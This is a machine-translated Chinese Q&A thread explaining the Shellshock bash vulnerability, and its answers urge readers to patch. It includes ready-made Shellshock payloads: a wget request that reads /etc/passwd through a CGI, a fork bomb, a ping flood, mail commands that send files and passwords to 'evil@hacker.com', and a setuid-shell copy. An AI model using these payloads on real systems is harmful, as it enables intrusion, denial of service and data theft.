如何利用 Shellshock Bash 漏洞的具体示例是什么?

信息安全 linux 开发 已知漏洞 重击 炮击
2021-08-11 22:34:57

我阅读了一些关于Shellshock Bash 错误(CVE-2014-6271报告于 2014 年 9 月 24 日)的文章(文章1、文章 2 、文章 3 、文章4 ),并且大致了解了该漏洞是什么以及如何利用它。为了更好地理解漏洞的影响,可以利用漏洞的攻击向量/场景的简单而具体的示例是什么?

4个回答

一个非常简单的例子是一个 cgi,/var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

然后用 wget 调用它来换出用户代理字符串。例如,这将显示 /etc/passwd 的内容:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

分解它:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

好像:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

据我了解,问题是虽然可以在环境变量中定义一个函数,但 bash 不应该在它之后执行代码。

额外的“内容类型:”仅用于说明。它可以防止 500 错误并显示文件的内容。

上面的示例还显示了它如何不是编程错误的问题,甚至可以利用通常安全且无害的 bash cgi,它甚至不需要用户输入。

通过访问 bash,即使是从 Web 用户的 POV 访问,选项也是无穷无尽的。例如,这是一个叉子炸弹:

() { :; }; :(){ :|: & };:

只需将其放在浏览器上的用户代理字符串中,转到您的网页,然后在您的网络服务器上进行即时 DoS。

或者,有人可以将您的服务器用作攻击机器人:

() { :; }; ping -s 1000000 <victim IP>

把它放在其他几台服务器上,你就在谈论真正的带宽。

其他攻击媒介:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" evil@hacker.com
() { :; }; cat ~/.secret/passwd | mail -s "This password file" evil@hacker.com

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

还有无穷无尽的其他可能性:反向 shell、在端口上运行服务器、自动下载一些 rootkit 以从 web 用户转到 root 用户。是贝壳!它可以做任何事情。就安全灾难而言,这甚至比 Heartbleed 还要糟糕。

重要的部分是你修补你的系统。 现在! 如果您仍然有未打补丁的面向外部的服务器,您还在阅读此内容做什么?!

上面这些黑客已经在做,你甚至都不知道!

不仅仅是服务器;客户端软件也会受到影响。这是一个易受攻击的 DHCP 客户端的示例如果一台机器有这样一个易受攻击的客户端(和损坏的 bash),子网上的任何机器都可以发送格式错误的 DHCP 响应并获得 root 权限。

鉴于广泛使用环境变量在 Unix 中的进程之间共享状态以及可能涉及的软件数量,攻击面非常大。不要以为你的机器是安全的,因为你没有运行 Web 服务器。唯一的解决方法是修补 bash,考虑切换到不太复杂的默认 shell(例如 dash),并希望那里没有更多类似的漏洞。

您不需要明确使用 bash 来解决这个问题。真正的问题是允许攻击者对环境变量的值有发言权。设置好环境后,使用未准备好的环境执行某些 shell(您可能不知道)只是时间问题。

每个程序(bash、java、tcl、php、...)都有这个签名:

int main(int argc, char** argv, char** arge);

开发人员习惯于检查 argc 和 argv 的清洁度。大多数人会忽略 arge 并且在生成子shell(显式或隐式)之前不尝试验证它。在这种情况下,bash 并没有正确地保护自己免受错误输入的影响。为了将应用程序连接在一起,会产生子进程。在它的底部,会发生这样的事情:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

在您自己的代码中,可能没有对 bash 的引用。但也许您启动了 tcl,而 tcl 代码深处的某些东西会为您启动 bash。它将继承当前设置的环境变量。

对于易受攻击的 bash 版本,会发生以下情况:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

parseEnvironment 看到一堆它甚至不一定能识别的环境变量定义。但它会猜测其中一些环境变量是函数定义:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash 不知道 HTTP_COOKIE 是什么。但它以 () 开头,所以 bash猜测这是一个函数定义。它还有助于您在函数定义之后添加一些立即执行的代码,因为您可能需要使用函数定义初始化一些副作用。该补丁删除了在函数定义之后添加副作用的功能。

但是,环境变量可以在攻击者提供的函数定义中处于休眠状态的整个想法仍然非常令人不安!

recieve='() { echo you meant receive lol; }'

如果攻击者可以使这个变量名获得它提供的值,并且知道它可以等待 bash 子进程尝试调用该名称的函数,那么这将是另一个攻击向量。

这只是验证您的输入的旧警告。由于 shell 可能会作为令人惊讶的实现细节而产生,因此切勿将环境变量设置为未经严格验证的值。这意味着任何可能读取此环境变量的程序都不会对该值进行意外的操作;例如将其作为代码执行。

今天是 bash。明天是 java、sh、tcl 或 node。它们都将环境指针带入它们的主要功能;并且它们对安全处理的内容都有不同的限制(直到它们被修补)。